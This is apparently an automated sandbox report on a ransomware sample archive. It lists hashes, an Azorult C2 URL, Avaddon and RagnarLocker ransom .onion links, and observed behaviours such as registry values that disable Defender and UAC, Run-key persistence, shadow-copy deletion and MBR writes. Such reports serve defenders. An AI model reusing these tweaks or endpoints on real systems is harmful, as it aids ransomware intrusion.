Analysis
-
max time kernel
78s -
max time network
282s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
28-10-2024 20:37
Static task
static1
Behavioral task
behavioral1
Sample
RNSM00405.7z
Resource
win10v2004-20241007-en
General
-
Target
RNSM00405.7z
-
Size
7.3MB
-
MD5
b1aad99a66608f32a66673ccd4d83ea5
-
SHA1
14b49720f6b52710fe881000c723ffc6a79b898d
-
SHA256
f9af4c12ac22ca9e1fc57a51895652c898d77379703c8204526af7252bd90d20
-
SHA512
01e5b8c9b62eadaa48df41a36f2a819b4c592989b34755a53b9d0e2f70916f079d5bbb982278c9cd469678ccbd325729a3c8ae45953b07fc4d92ebdda811deea
-
SSDEEP
196608:FHWFXjJypQ3mRUaWwGw11q5eRTmLk+F8pjFe/CBuc:FEzoeQTWA16eRyQPKqoc
Malware Config
Extracted
azorult
http://tranpip.com/hoi/index.php
Extracted
C:\Users\Admin\Desktop\mnBop_readme_.txt
avaddon
http://avaddongun7rngel.onion
http://avaddonbotrxmuyl.onion
Extracted
C:\Users\Admin\Downloads\mnBop_readme_.txt
avaddon
http://avaddongun7rngel.onion
http://avaddonbotrxmuyl.onion
Extracted
C:\mnBop_readme_.txt
avaddon
http://avaddongun7rngel.onion
http://avaddonbotrxmuyl.onion
Extracted
C:\Users\Public\Documents\!!!_READ_ME_09C70E4B_!!!.txt
https://prnt.sc/va9w5v
https://prnt.sc/vam4mz
https://prnt.sc/val3ll
https://prnt.sc/vaa5kh
https://prnt.sc/va9xdb
https://prnt.sc/va9z18
https://prnt.sc/va9wwj
https://prnt.sc/vaad5d
http://p6o7m73ujalhgkiv.onion/?tfR4tkhpcE2pUg
http://rgnar43spcnsocswaw22lmk7jnget5f6vow7kqmnf4jc6hfwpiwoajid.onion/client/?8035A17A1e1cdaABB8BfDecEC0e94FA224C1Fc86D09C60540E56e972EDa7327c
Signatures
-
Avaddon
Ransomware-as-a-service first released in June 2020 and currently expanding its userbase among criminal actors.
-
Avaddon family
-
Avaddon payload 1 IoCs
resource yara_rule behavioral1/files/0x0008000000023c42-93.dat family_avaddon -
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
-
Azorult family
-
Detected Xorist Ransomware 1 IoCs
resource yara_rule behavioral1/files/0x0008000000023c8f-122.dat family_xorist -
GandCrab payload 4 IoCs
resource yara_rule behavioral1/memory/3236-105-0x00000000020B0000-0x00000000020C7000-memory.dmp family_gandcrab behavioral1/memory/3236-104-0x0000000000400000-0x000000000045F000-memory.dmp family_gandcrab behavioral1/memory/6024-861-0x0000000000400000-0x0000000000B4E000-memory.dmp family_gandcrab behavioral1/memory/6024-866-0x0000000000CF0000-0x0000000000D07000-memory.dmp family_gandcrab -
Gandcrab
Gandcrab is a Trojan horse that encrypts files on a computer.
-
Gandcrab family
-
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe -
Xorist Ransomware
Xorist is a ransomware first seen in 2020.
-
Xorist family
-
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 3 IoCs
pid Process 4292 bcdedit.exe 4232 bcdedit.exe 6716 bcdedit.exe -
Renames multiple (1286) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
Renames multiple (179) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
Renames multiple (67) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
Clears Network RDP Connection History and Configurations 1 TTPs 1 IoCs
Remove evidence of malicious network connections to clean up operations traces.
pid Process 4204 Process not Found -
Downloads MZ/PE file
-
Checks computer location settings 2 TTPs 4 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe Key value queried \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation Trojan-Ransom.Win32.PornoBlocker.ajrm-fd5b4498229d14ab6890d904829292acb73c6187150bc2622ebd25609a9f062e.exe Key value queried \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe Key value queried \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation WScript.exe -
Drops startup file 1 IoCs
description ioc Process File opened for modification \??\c:\users\admin\appdata\roaming\microsoft\windows\start menu\programs\startup\how to back your files.txt taskmgr.exe -
Executes dropped EXE 15 IoCs
pid Process 1512 HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe 4844 HEUR-Trojan-Ransom.Win32.Blocker.gen-936c820fd6780e9edb880cffc274c944ceb189e8f10915eb333fa5898d4e50be.exe 3172 HEUR-Trojan-Ransom.Win32.Crypren.gen-43929c8548157f399526e8318e42e34f78055b22bb4b3e6e83ab58f63d017f44.exe 4652 HEUR-Trojan-Ransom.Win32.Encoder.gen-685ebd61276b3e8c16e124f49e858c247f12dfe156bd0ac9e0c0762b6687920b.exe 3236 HEUR-Trojan-Ransom.Win32.GandCrypt.gen-0f45e288165b33ba9a1e2ab5464e5a0aeb36a732d7be113adc8bc9861c546011.exe 4884 HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe 1412 Trojan-Ransom.Win32.Blocker.lckf-950bed3291dbba942da0f5eebe31debe16a6930aff4a1e181469d85d61d61490.exe 1636 Trojan-Ransom.Win32.Delf.ss-e90cd8761306b7ee94fa9561e36a49323edb9a6e27213def9ecc93dbae3f2fb7.exe 5016 Trojan-Ransom.Win32.PornoBlocker.ajrm-fd5b4498229d14ab6890d904829292acb73c6187150bc2622ebd25609a9f062e.exe 2732 Trojan-Ransom.Win32.RagnarLocker.e-afab912c41c920c867f1b2ada34114b22dcc9c5f3666edbfc4e9936c29a17a68.exe 392 Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe 6024 UDS-Trojan-Ransom.Win32.GandCrypt.gen-c06616518dbe1c5c499759b40aec1272556a7e3f0af702dd05d78b8ef26eba01.exe 6372 jusched.exe 4304 HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe 6316 killer.exe -
Loads dropped DLL 4 IoCs
pid Process 4652 HEUR-Trojan-Ransom.Win32.Encoder.gen-685ebd61276b3e8c16e124f49e858c247f12dfe156bd0ac9e0c0762b6687920b.exe 4652 HEUR-Trojan-Ransom.Win32.Encoder.gen-685ebd61276b3e8c16e124f49e858c247f12dfe156bd0ac9e0c0762b6687920b.exe 4652 HEUR-Trojan-Ransom.Win32.Encoder.gen-685ebd61276b3e8c16e124f49e858c247f12dfe156bd0ac9e0c0762b6687920b.exe 4652 HEUR-Trojan-Ransom.Win32.Encoder.gen-685ebd61276b3e8c16e124f49e858c247f12dfe156bd0ac9e0c0762b6687920b.exe -
resource yara_rule behavioral1/files/0x0008000000023c51-109.dat vmprotect behavioral1/memory/2732-114-0x00000000003A0000-0x0000000000CF7000-memory.dmp vmprotect -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Alcmeter = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2GPT3rp9HC5quFQ.exe" Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe Set value (str) \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\WindowsUpdateCheck = "C:\\Users\\Admin\\Desktop\\00405\\HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe" HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe -
Drops desktop.ini file(s) 46 IoCs
description ioc Process File opened for modification C:\Users\Admin\Pictures\Camera Roll\desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification C:\Users\Public\AccountPictures\desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification C:\Users\Default User\Start Menu\Programs\Accessibility\desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification C:\Users\Default User\SendTo\desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification C:\Users\Default User\Application Data\Microsoft\Internet Explorer\Quick Launch\desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification C:\Users\Public\Libraries\desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification C:\Users\Default User\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification C:\Users\Admin\Recent\desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification C:\Users\Default User\Start Menu\Programs\desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification C:\Users\Default\Start Menu\Programs\Maintenance\Desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification C:\Users\Admin\Saved Games\desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification C:\Users\Admin\Start Menu\Programs\System Tools\Desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification C:\Users\Public\Videos\desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification C:\Users\Public\Downloads\desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification C:\Users\Public\Documents\My Music\desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification C:\Users\Public\Desktop\desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification C:\Users\Admin\SendTo\desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification \??\Z:\$RECYCLE.BIN\S-1-5-21-4089630652-1596403869-279772308-1000\desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification C:\Users\Admin\Start Menu\Programs\desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification C:\Users\Admin\Start Menu\Programs\Administrative Tools\desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification C:\Users\Admin\Start Menu\Programs\Accessibility\desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification C:\Users\Public\Documents\My Videos\desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification C:\Users\Admin\Pictures\Saved Pictures\desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification C:\Users\Admin\Start Menu\Programs\Startup\desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification C:\Users\Admin\Start Menu\Programs\Accessories\desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification C:\Users\Public\Pictures\desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification C:\Users\Public\Documents\desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification C:\Users\Default User\Start Menu\Programs\Accessories\desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification F:\$RECYCLE.BIN\S-1-5-21-4089630652-1596403869-279772308-1000\desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification C:\Users\Default\Start Menu\Programs\Accessories\desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification C:\Users\Admin\Videos\desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification C:\Users\Admin\Start Menu\desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification C:\Users\Admin\Start Menu\Programs\Maintenance\Desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification C:\Users\Public\Music\desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification C:\Users\Default User\Start Menu\Programs\Maintenance\Desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification C:\Users\Default\Start Menu\Programs\desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification C:\Users\Default\Start Menu\Programs\System Tools\Desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification C:\Users\Admin\Searches\desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification C:\Users\Admin\OneDrive\desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification C:\Users\Default\SendTo\desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification C:\Users\Default\Start Menu\Programs\Accessibility\desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification C:\Users\Admin\Pictures\desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification \??\Z:\$RECYCLE.BIN\S-1-5-21-4089630652-1596403869-279772308-1000\desktop.ini Trojan-Ransom.Win32.RagnarLocker.e-afab912c41c920c867f1b2ada34114b22dcc9c5f3666edbfc4e9936c29a17a68.exe File opened for modification C:\Users\Public\desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification C:\Users\Public\Documents\My Pictures\desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe File opened for modification C:\Users\Default User\Start Menu\Programs\System Tools\Desktop.ini HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\L: HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe File opened (read-only) \??\R: HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe File opened (read-only) \??\V: HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe File opened (read-only) \??\Z: Trojan-Ransom.Win32.RagnarLocker.e-afab912c41c920c867f1b2ada34114b22dcc9c5f3666edbfc4e9936c29a17a68.exe File opened (read-only) \??\F: Trojan-Ransom.Win32.RagnarLocker.e-afab912c41c920c867f1b2ada34114b22dcc9c5f3666edbfc4e9936c29a17a68.exe File opened (read-only) \??\Y: HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe File opened (read-only) \??\A: HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe File opened (read-only) \??\B: HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe File opened (read-only) \??\G: HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe File opened (read-only) \??\S: HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe File opened (read-only) \??\U: HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe File opened (read-only) \??\W: HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe File opened (read-only) \??\N: HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe File opened (read-only) \??\O: HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe File opened (read-only) \??\E: HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe File opened (read-only) \??\H: HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe File opened (read-only) \??\I: HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe File opened (read-only) \??\J: HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe File opened (read-only) \??\K: HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe File opened (read-only) \??\M: HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe File opened (read-only) \??\P: HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe File opened (read-only) \??\Q: HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe File opened (read-only) \??\T: HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe File opened (read-only) \??\X: HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe File opened (read-only) \??\Z: HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe -
Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 1 IoCs
flow ioc 78 discord.com -
Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
description ioc Process File opened for modification \??\PHYSICALDRIVE0 Trojan-Ransom.Win32.RagnarLocker.e-afab912c41c920c867f1b2ada34114b22dcc9c5f3666edbfc4e9936c29a17a68.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
pid Process 2732 Trojan-Ransom.Win32.RagnarLocker.e-afab912c41c920c867f1b2ada34114b22dcc9c5f3666edbfc4e9936c29a17a68.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1512 set thread context of 4304 1512 HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe 166 -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.1903.1152.0_x64__8wekyb3d8bbwe\images\FileExcel32x32.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Assets\CalculatorAppList.targetsize-72_altform-unplated_contrast-white.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File created C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\Resources\Fonts\HOW TO DECRYPT FILES.txt Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\Send2.16.GrayF.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-125_kzf8qxf38zg5c\Assets\Images\SkypeLogo.scale-125.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.BingWeather_4.25.20211.0_x64__8wekyb3d8bbwe\Assets\AppTiles\LiveTile\W1.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\animations\OneNoteFirstRunCarousel_Animation2.mp4 Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.People_10.1902.633.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\contrast-black\PeopleWideTile.scale-100.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\7-Zip\Lang\ku-ckb.txt Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\NewCommentRTL.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WebpImageExtension_1.0.22753.0_x64__8wekyb3d8bbwe\Assets\SplashScreen.scale-200.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\DeleteToastQuickAction.scale-80.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\multi-tab-file-view-2x.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogoSmall.scale-180.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File created C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsMaps_5.1906.1972.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SecondaryTiles\Car\LTR\contrast-white\HOW TO DECRYPT FILES.txt Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\Assets\contrast-black\AppPackageAppList.targetsize-16_contrast-black.png 